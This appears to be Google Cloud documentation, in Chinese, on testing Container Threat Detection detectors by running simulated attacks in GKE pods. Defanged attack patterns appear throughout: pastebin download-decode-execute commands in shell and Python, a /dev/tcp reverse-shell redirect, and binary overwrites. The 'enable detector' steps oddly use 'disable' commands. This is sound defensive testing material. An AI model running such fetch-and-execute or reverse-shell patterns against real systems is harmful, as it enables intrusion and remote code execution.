本页面介绍了如何通过有意触发检测器并检查发现结果来验证 Container Threat Detection 是否正常运行。Container Threat Detection 是 Security Command Center 高级和企业层级的内置服务。如需查看 Container Threat Detection 发现结果,您必须在 Security Command Center 服务设置中启用该服务。
准备工作
如需检测容器的潜在威胁,您需要确保集群位于受支持的 Google Kubernetes Engine (GKE) 版本上。如需了解详情,请参阅使用受支持的 GKE 版本。
启用检测器
默认情况下,检测器 Added Binary Executed
和 Added Library Loaded
处于停用状态。如需测试这些检测器,您必须明确启用它们:
检查检测器状态:
export PROJECT=PROJECT_ID gcloud alpha scc settings services describe \ --service=CONTAINER_THREAT_DETECTION \ --project=${PROJECT}
启用检测器
Added Binary Executed
:gcloud alpha scc settings services modules disable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_BINARY_EXECUTED \ --project=${PROJECT}
启用检测器
Added Library Loaded
:gcloud alpha scc settings services modules disable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_LIBRARY_LOADED \ --project=${PROJECT}
设置环境变量
如需测试检测器,请使用 Google Cloud 控制台和 Cloud Shell。您可以在 Cloud Shell 中设置环境变量,以便更轻松地运行命令。以下变量用于测试所有 Container Threat Detection 检测器。
前往 Google Cloud 控制台。
选择包含要用来测试的容器的项目。
点击激活 Cloud Shell。
在 Cloud Shell 中,设置环境变量。
您的集群所在的区域:
export ZONE=CLUSTER_ZONE
您的容器所在的项目:
export PROJECT=PROJECT_ID
您的集群名称:
export CLUSTER_NAME=CLUSTER_NAME
变量已设置。以下部分包含测试 Container Threat Detection 检测器的说明。
已执行添加的二进制文件
如需触发已执行添加的二进制文件发现结果,请将二进制文件放入容器中并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls
复制到其他位置,然后执行。二进制文件的执行是出乎意料的,因为二进制文件的副本不是原始容器映像的一部分,即使该映像位于 Ubuntu 24.04 中,而且容器也是不可变的。
使用 Cloud Shell 访问集群控制平面:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
放入二进制文件并执行该文件:
x86 节点:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
ARM 节点:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
此测试过程应创建一个“已执行添加的二进制文件”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。
为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤掉“已执行添加的二进制文件”发现结果。如需在设置容器时查看所有“已执行添加的二进制文件”发现结果,请在容器名称或 Pod 名称前加上 ktd-test
,如示例所示。
已加载添加的库
如需触发“已加载添加的二进制文件”发现结果,请将库放入容器中,然后加载该库。此示例将部署最新的 Ubuntu 24.04 映像,将 /lib/x86_64-linux-gnu/libc.so.6
复制到其他位置,然后使用 ld
加载。已加载的库是出乎意料的,因为库的副本不是原始容器映像的一部分,即使该映像位于 Ubuntu 24.04 中,而且容器是不可变的。
使用 Cloud Shell 访问集群控制方案:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
放入一个库并使用
ld
加载它:x86 节点:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
ARM 节点:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
此测试过程应创建一个“已加载添加的库”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。仅当您在组织级层激活 Security Command Center 的高级或企业层级时,才能在 Cloud Logging 中查看发现结果。
为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤添加的库加载的发现结果。如需在设置容器时查看所有“已加载添加的库”发现结果,请在容器名称或 Pod 名称前加上 ktd-test
,如示例所示。
执行:已执行添加的恶意二进制文件
如需触发“执行:已执行添加的恶意二进制文件”发现结果,请在容器中放入恶意二进制文件并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,创建模拟的恶意文件,然后执行该文件。二进制文件的执行是出乎意料的,因为模拟的恶意二进制文件不是原始容器映像的一部分,并且该二进制文件是 EICAR 测试文件,该文件被威胁情报分类为恶意文件。
使用 Cloud Shell 访问集群控制平面:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
放入 EICAR 二进制文件并执行该文件:
x86 节点:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
ARM 节点:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
此测试过程应创建一个“执行:已执行添加的恶意二进制文件”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。
为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤掉“执行:已执行添加的恶意二进制文件”发现结果。如需在设置容器时查看所有“执行:添加了已执行的恶意二进制文件”发现结果,请在容器名称或 Pod 名称前加上 ktd-test
,如示例所示。
执行:容器逃逸
如需触发“执行:容器逃逸”发现结果,请将二进制文件放入容器中并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls
复制到其他位置,将其重命名为可疑工具 (botb-linux-amd64
),然后使用其他参数执行该工具。此操作被视为可疑,因为此执行模拟了与容器逃逸尝试一致的行为。
使用 Cloud Shell 访问集群控制平面:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
放入容器利用工具二进制文件(例如
botb-linux-amd64
)并执行该文件:x86 节点:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
ARM 节点:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
此测试过程应创建一个“执行:容器逃逸”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。
为了降低噪声,当您首次创建容器时,Container Threat Detection 可能会暂时过滤掉“执行:容器逃逸”发现结果。如需在设置容器时查看所有“执行:容器逃逸”发现结果,请在容器名称或 Pod 名称前加上 ktd-test
,如示例所示。
执行:Kubernetes 攻击工具执行
如需触发“执行:Kubernetes 攻击工具执行”发现结果,请将二进制文件放入容器中并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls
复制到其他位置,将其重命名为可疑工具 (amicontained
),然后执行该工具。此操作被视为可疑操作,因为它模拟了与潜在的 Kubernetes 攻击工具执行尝试一致的行为。
使用 Cloud Shell 访问集群控制平面:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
放入 Kubernetes 攻击工具二进制文件(如
amicontained
)并执行该文件:x86 节点:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
ARM 节点:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
此测试过程应创建一个“执行:Kubernetes 攻击工具执行”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。
为了降低噪声,当您首次创建容器时,Container Threat Detection 可能会暂时过滤掉“执行:Kubernetes 攻击工具执行”发现结果。如需在设置容器时查看所有“执行:Kubernetes 攻击工具执行”发现结果,请在容器名称或 Pod 名称前加上 ktd-test
,如示例所示。
执行:本地侦察工具执行
如需触发“执行:本地侦察工具执行”发现结果,请将二进制文件放入容器中并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls
复制到其他位置,将其重命名为可疑工具 (linenum.sh
),然后执行该工具。由于执行重命名的二进制文件会模拟与本地侦察尝试一致的行为,因此此操作被视为可疑操作。
使用 Cloud Shell 访问集群控制平面:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
放入本地侦察工具二进制文件(例如
linenum.sh
)并执行该文件:x86 节点:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
ARM 节点:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
此测试过程应创建一个“执行:本地侦察工具执行”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。
为了降低噪声,当您首次创建容器时,Container Threat Detection 可能会暂时过滤掉“执行:本地侦察工具执行”发现结果。如需在设置容器时查看所有“执行:本地侦察工具执行”发现结果,请在容器名称或 pod 名称前加上 ktd-test
,如示例所示。
Execution: Malicious Python executed
如需触发 Execution: Malicious Python executed
发现结果,您可以在容器中按照以下步骤执行 Python。
该过程会部署最新的 Python 映像,复制看似恶意的 Python 代码,然后执行该代码。若要触发检测,Python 代码必须包含恶意内容才能被检测器检测到。
使用 Cloud Shell 访问集群控制方案:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
在新容器中执行以下脚本。
此 Python 代码来自蜜罐。不过,该脚本已被修改,不会执行恶意二进制文件。运行该脚本不会导致容器中产生恶意活动。引用的网址中不存在二进制文件,并且尝试访问该网址会导致 404 错误。这是正常现象。 使用内嵌脚本尝试下载、解码和执行二进制文件会触发检测。
x86 节点:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/python:latest \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
ARM 节点:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
此测试过程会创建一个 Execution: Malicious Python executed
发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了日志记录)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。
执行:已执行经过修改的恶意二进制文件
如需触发“执行:已修改的恶意二进制文件已执行”发现结果,请修改容器中的恶意二进制文件并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls
修改为 EICAR 测试恶意文件,然后执行该文件。二进制文件的执行是意外的,因为创建的 /bin/ls
在容器运行时被修改为 EICAR 测试恶意二进制文件,而根据威胁情报,EICAR 二进制文件是已知的恶意文件。
使用 Cloud Shell 访问集群控制平面:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
放入 EICAR 二进制文件并执行该文件:
x86 节点:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
ARM 节点:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
此测试过程应创建一个“执行:已执行经过修改的恶意二进制文件”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。
为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤掉“执行:已修改的恶意二进制文件已执行”发现结果。如需在设置容器时查看所有“执行:已修改的恶意二进制文件已执行”发现结果,请在容器名称或 Pod 名称前加上 ktd-test
,如示例所示。
已执行恶意脚本
如需触发“恶意脚本已执行”发现结果,您可以在容器中按照以下步骤执行脚本。
该过程会部署最新的 Ubuntu 24.04 映像,复制一个看似恶意的脚本,然后执行该脚本。若要触发检测,脚本必须包含恶意内容才能被检测器检测到。
使用 Cloud Shell 访问集群控制方案:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
在新容器中执行以下脚本。
此内嵌 Bourne shell 脚本源自蜜罐。不过,该脚本已被修改为不会执行恶意二进制文件,因此运行该脚本不会在容器中导致恶意活动。引用的网址中的二进制文件可能已被移除,如果尝试访问该网址,则会导致 404 错误。这是正常现象。 使用内嵌脚本尝试下载、解码和执行二进制文件会触发检测。
x86 节点:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
ARM 节点:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
此测试过程会创建一个“已执行恶意脚本”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。
观察到恶意网址
如需触发“观察到恶意网址”发现结果,请执行二进制程序并提供恶意网址作为参数。
以下示例将部署 Ubuntu 24.04 映像并执行 /bin/curl
以从安全浏览服务访问示例恶意网址。
使用 Cloud Shell 访问集群控制方案:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
执行
curl
并提供恶意网址作为参数:x86 节点:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
ARM 节点:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
此测试过程会触发“观察到恶意网址”发现结果,您可以在 Security Command Center 中查看该发现结果;如果您为 Container Threat Detection 配置了 Logging,则可以在 Cloud Logging 中查看该发现结果。仅当您在组织级层激活 Security Command Center 的高级或企业层级时,才能在 Cloud Logging 中查看发现结果。
反向 shell
如需触发“反向 Shell”发现结果,请启动二进制文件,并将 stdin
重定向到 TCP 连接的套接字。此示例会将 /bin/echo
复制到 /tmp/sh
,然后启动 /tmp/sh
并重定向到 DNS 端口上的 Google 公共 DNS
8.8.8.8
。运行此示例时,不会打印任何内容。为防止通过中间人 (MITM) 攻击注入任何外部代码,此示例未使用 /bin/sh
二进制文件。
使用 Cloud Shell 访问集群控制方案:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
使用
/bin/echo
启动二进制文件重定向至 Google 公共 DNS:x86 节点:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
ARM 节点:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
此测试过程会创建一个“反向 Shell”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。仅当您在组织级层激活 Security Command Center 的高级或企业层级时,才能在 Cloud Logging 中查看发现结果。
意外的 Shell Shell
如需测试 Unexpected Child Shell
检测器,您可以创建一个包含子 shell 进程的进程树。
以下示例会创建一个可由 Unexpected Child Shell
检测器检测的 consul->dash
进程树。此测试安全,因为它仅使用内置二进制文件。此示例会执行以下操作:
- 创建
sh
进程的副本并将其命名为consul
。 - 复制
echo
进程并将其命名为dash
。 - 在复制的
consul
进程中调用复制的dash
进程。
如需触发 Unexpected Child Shell
发现结果,请执行以下操作:
使用 Cloud Shell 访问集群控制平面:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
使用模拟
consul
进程调用模拟 shell:x86 节点:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu "$tag" --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
ARM 节点:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
此测试过程会创建一个 Unexpected Child Shell
发现结果,您可以在 Security Command Center 中查看该发现结果。如果您为 Container Threat Detection 配置了 Logging,并且已在组织级层激活了 Security Command Center 专业版或企业版,则也可以在 Cloud Logging 中查看发现结果。